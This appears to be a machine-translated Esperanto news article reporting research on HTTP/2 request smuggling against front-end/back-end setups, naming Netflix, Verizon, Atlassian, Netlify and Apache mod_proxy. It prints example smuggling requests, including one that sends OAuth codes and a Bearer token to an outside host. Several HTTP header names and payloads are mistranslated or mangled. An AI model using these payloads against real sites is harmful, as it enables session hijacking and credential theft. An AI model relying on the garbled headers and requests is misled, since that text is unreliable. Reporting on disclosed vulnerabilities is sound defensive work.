Retaj sistemoj, en kiuj la antaŭa finaĵo akceptas konektojn per HTTP/2 kaj transdonas ilin al la backend per HTTP/1.1, estis elmontritaj al nova varianto de la atako "HTTP Request Smuggling", kiu ebligas, sendante speciale desegnitajn klientpetojn, al kojno en la enhavon de petoj de aliaj uzantoj procesitaj en la sama fluo inter fasado kaj backend. La atako povas esti uzata por enmeti malican JavaScript-kodon en seancon kun legitima retejo, preteriri sistemojn de limigo de aliro kaj kapti aŭtentikajn parametrojn.
La problemo influas retajn prokurojn, ŝarĝbalancilojn, retajn akcelilon, enhavajn liversistemojn kaj aliajn agordojn, en kiuj petoj estas alidirektitaj en frontend-al-backend maniero. La aŭtoro de la studo pruvis la eblecon ataki la sistemojn de Netflix, Verizon, Bitbucket, Netlify CDN kaj Atlassian, kaj ricevis 56 mil dolarojn en rekompencaj programoj por identigi vundeblecojn. La problemo ankaŭ estis konfirmita en F5 Networks-produktoj. La problemo parte influas mod_proxy en la Apache http-servilo (CVE-2021-33193), solvo estas atendita en versio 2.4.49 (la programistoj estis sciigitaj pri la problemo komence de majo kaj ricevis 3 monatojn por ripari ĝin). En nginx, la kapablo samtempe specifi la titolojn "Enhavo-Daŭro" kaj "Translokigo-Kodigado" estis blokita en la lasta eldono (1.21.1). Atakaj iloj jam estas inkluzivitaj en la ilaro Burp kaj disponeblas en la formo de la etendaĵo Turbo Intruder.
La principo de funkciado de la nova metodo de kojno de petoj en trafikon estas simila al la vundebleco identigita de la sama esploristo antaŭ du jaroj, sed limigita al fasadoj kiuj akceptas petojn super HTTP/1.1. Ni rememoru, ke en la fasado-backend-skemo, klientpetoj estas ricevitaj de plia nodo - la fasado, kiu establas longdaŭran TCP-konekton kun la backend, kiu rekte prilaboras petojn. Per tiu ĉi komuna konekto kutime transdonas petoj de malsamaj uzantoj, kiuj sekvas la ĉenon unu post alia, apartigitaj per la HTTP-protokolo.
La klasika atako "HTTP Request Smuggling" baziĝis sur la fakto, ke fasadoj kaj backends interpretas la uzon de HTTP-titoloj "Content-Length" (determinas la totalan grandecon de la datumoj en la peto) kaj "Transfer-Kodigado: chunked" (permesas datumoj transdonitaj en partoj) alimaniere. . Ekzemple, se la fasado nur subtenas "Content-Length" sed ignoras "Transfer-Encoding: chunked", tiam atakanto povus sendi peton kiu enhavas kaj la "Content-Length" kaj "Transfer-Encoding: chunked" kapliniojn, sed la grandeco estas "Content-Length" ne kongruas kun la grandeco de la peceta ĉeno. En ĉi tiu kazo, la fasado prilaboros kaj alidirektos la peton laŭ "Enhavo-Daŭro", kaj la backend atendos la kompletigon de la bloko bazita sur "Translokigo-Kodigo: disigita" kaj la restanta vosto de la peto de la atakanto estos. estu ĉe la komenco de alies peto transdonita poste.
Male al la teksta protokolo HTTP/1.1, kiu estas analizita ĉe la linionivelo, HTTP/2 estas binara protokolo kaj manipulas datumblokojn de antaŭspecifita grandeco. Tamen, HTTP/2 uzas pseŭdo-titolojn kiuj respondas al regulaj HTTP-titoloj. En la kazo de interago kun la backend per la HTTP/1.1 protokolo, la fasado tradukas ĉi tiujn pseŭdo-kapojn en similajn HTTP-titolojn HTTP/1.1. La problemo estas, ke la backend faras decidojn pri analizado de la fluo surbaze de la HTTP-kapoj starigitaj de la fasado, sen havi informojn pri la parametroj de la originala peto.
Precipe, la valoroj "enhav-longo" kaj "transigo-kodado" povas esti transdonitaj en formo de pseŭdo-kapoj, malgraŭ tio, ke ili ne estas uzataj en HTTP/2, ĉar la grandeco de ĉiuj datumoj estas determinita. en aparta kampo. Tamen, dum la procezo de konvertado de HTTP/2-peto al HTTP/1.1, ĉi tiuj kaplinioj estas transportitaj kaj povas konfuzi la backend. Estas du ĉefaj atakvariaĵoj: H2.TE kaj H2.CL, en kiuj la backend estas erarigata de malĝusta transiga kodigo aŭ enhavo-longa valoro, kiu ne respondas al la reala grandeco de la peta korpo ricevita de la fasado per la fasado. HTTP/2 protokolo.
Ekzemplo de H2.CL-atako estas specifi malĝustan grandecon en la enhavo-longa pseŭdo-kapo dum sendado de HTTP/2-peto al Netflix. Ĉi tiu peto kondukas al aldono de simila HTTP-kapo Enhavo-Longaĵo kiam oni aliras la backend per HTTP/1.1, sed ĉar la grandeco en Enhavo-Daŭro estas specifita malpli ol la reala, parto de la datumoj en la vosto estas prilaborita kiel la komenco de la sekva peto.
Ekzemple, petu HTTP/2 :method POST :path /n :authority www.netflix.com enhavo-longo 4 abcdGET /n HTTP/1.1 Gastiganto: 02.rs?x.netflix.com Foo: trinkejo
Rezultos peton sendita al la backend: POST /n HTTP/1.1 Gastiganto: www.netflix.com Enhavo-longo: 4 abcdGET /n HTTP/1.1 Gastiganto: 02.rs?x.netflix.com Foo: bar
Ĉar Content-Length havas valoron de 4, la backend akceptos nur "abcd" kiel la korpon de la peto, kaj la resto de "GET /n HTTP/1.1..." estos procesita kiel la komenco de posta peto. asociita kun alia uzanto. Sekve, la rivereto malsinkroniĝos kaj en respondo al la sekva peto, la rezulto de prilaborado de la falsa peto estos elsendita. En la kazo de Netflix, specifi triapartan gastiganton en la kaplinio "Gastiganto:" en falsa peto rezultigis, ke la kliento resendis la respondon "Loko: https://02.rs?x.netflix.com/n" kaj permesis sendi arbitran enhavon al la kliento, inkluzive Rulu vian JavaScript-kodon en la kunteksto de la retejo de Netflix.
La dua atako opcio (H2.TE) implikas anstataŭi la "Translokigo-Kodigo: chunked" kaplinio. La uzo de la transigo-koda pseŭdo-kapo en HTTP/2 estas malpermesita de la specifo kaj petoj kun ĝi estas preskribitaj por esti traktitaj kiel malĝustaj. Malgraŭ tio, kelkaj fasad-efektivigoj ne enkalkulas ĉi tiun postulon kaj permesas la uzon de transiga kodiga pseŭdo-kapo en HTTP/2, kiu estas konvertita en similan HTTP-titolon. Se ekzistas kaplinio "Translokigo-Kodigo", la backend povas preni ĝin kiel pli altan prioritaton kaj analizi la datumpecon post peco en "peceta" reĝimo uzante blokojn de malsamaj grandecoj en la formato "{grandeco}\r\n{bloko }\r\n{grandeco} \r\n{bloko}\r\n0", malgraŭ la komenca divido laŭ totala grandeco.
La ĉeesto de tia breĉo estis pruvita per la ekzemplo de Verizon. La problemo koncernis la aŭtentikigportalon kaj enhavadministradsistemon, kiu ankaŭ estas uzata en retejoj kiel Huffington Post kaj Engadget. Ekzemple, peto de kliento per HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Gastiganto: psres.net Enhavo-longo: 10 x=
Rezultis sendado de HTTP/1.1-peto al la backend: POST /identity/XUI HTTP/1.1 Gastiganto: id.b2b.oath.com Enhavo-longo: 66 Translokigo-kodigo: chunked 0 GET /oops HTTP/1.1 Gastiganto: psres. net Enhavo- Longo: 10x=
La backend, siavice, ignoris la kaplinion "Enhavo-Daŭro" kaj faris enfluan disigon bazitan sur "Translokigo-Kodigo: disigita". Praktike, la atako ebligis redirekti uzantpetojn al ilia retejo, inkluzive de kaptado de petoj rilataj al aŭtentikigo de OAuth, kies parametroj estis montritaj en la kaplinio de Referer, same kiel simuli aŭtentikigsesion kaj ekigi la sistemon de la uzanto por sendi akreditaĵojn. al la gastiganto de la atakanto. GET /b2blanding/show/oops HTTP/1.1 Gastiganto: psres.net Referencisto: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Gastiganto: psres.net Rajtigo: Bearer eyJhcGwiOiJIUzI1Gi1sInkR6c
Por ataki HTTP/2-efektivigojn, kiuj ne ebligas specifi la pseŭdo-kapon de transigo-kodigo, oni proponis alian metodon, kiu implikas anstataŭigi la kaplinion "Transfer-kodigadon" alkroĉante ĝin al aliaj pseŭdo-kapoj apartigitaj per novlinia signo ( kiam konvertita al HTTP/1.1 ĉi-kaze kreas du apartajn HTTP-titolojn).
Ekzemple, Atlassian Jira kaj Netlify CDN (uzitaj por servi la startpaĝon de Mozilla en Fajrovulpo) estis tuŝitaj de ĉi tiu problemo. Specife, la HTTP/2-peto :metodo POST :path / :authority start.mozilla.org foo b\r\n transigo-kodigo: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Gastiganto : evil-netlify-domajno\r\n Enhavo-longo: 5\r\n \r\nx=
rezultigis HTTP/1.1 POST / HTTP/1.1-peton senditan al la backend\r\n Gastiganto: start.mozilla.org\r\n Foo: b\r\n Translokigo-kodigo: disigita\r\n Enhavo-longo : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gastiganto: evil-netlify-domain\r\n Enhavo-longo: 5\r\n \r \nx=
Alia opcio por anstataŭigi la kaplinion "Transfer-Kodigado" estis alkroĉi ĝin al la nomo de alia pseŭdo-kapo aŭ al linio kun peta metodo. Ekzemple, alirante Atlassian Jira, la pseŭdo-kapa nomo "foo: bar\r\ntransfer-kodigo" kun la valoro "chunked" kaŭzis la HTTP-kapojn "foo: bar" kaj "transfer-kodigo: chunked" esti aldonitaj. , kaj specifi pseŭdo-kapon ":method" valoron "GET / HTTP/1.1\r\nTransfer-kodigo: chunked" estis tradukita al "GET / HTTP/1.1\r\ntransfer-kodo: chunked".
La esploristo, kiu identigis la problemon, ankaŭ proponis petan tunelan teknikon por ataki fasadojn, en kiuj ĉiu IP-adreso establas apartan konekton al la backend kaj trafiko de malsamaj uzantoj ne estas miksita. La proponita tekniko ne ebligas enmiksiĝi kun petoj de aliaj uzantoj, sed ebligas veneni komunan kaŝmemoron, kiu influas la prilaboradon de aliaj petoj, kaj permesas la anstataŭigon de internaj HTTP-titoloj uzataj por translokigi servajn informojn de la fasado al la backend ( ekzemple, kiam aŭtentikigi sur la fasado flanko en Tiaj kaplinioj povas transdoni informojn pri la nuna uzanto al la backend). Kiel ekzemplo de aplikado de la metodo praktike, uzante kaŝmemorvenenadon, eblis akiri kontrolon de paĝoj en la Bitbucket-servo.
fonto: opennet.ru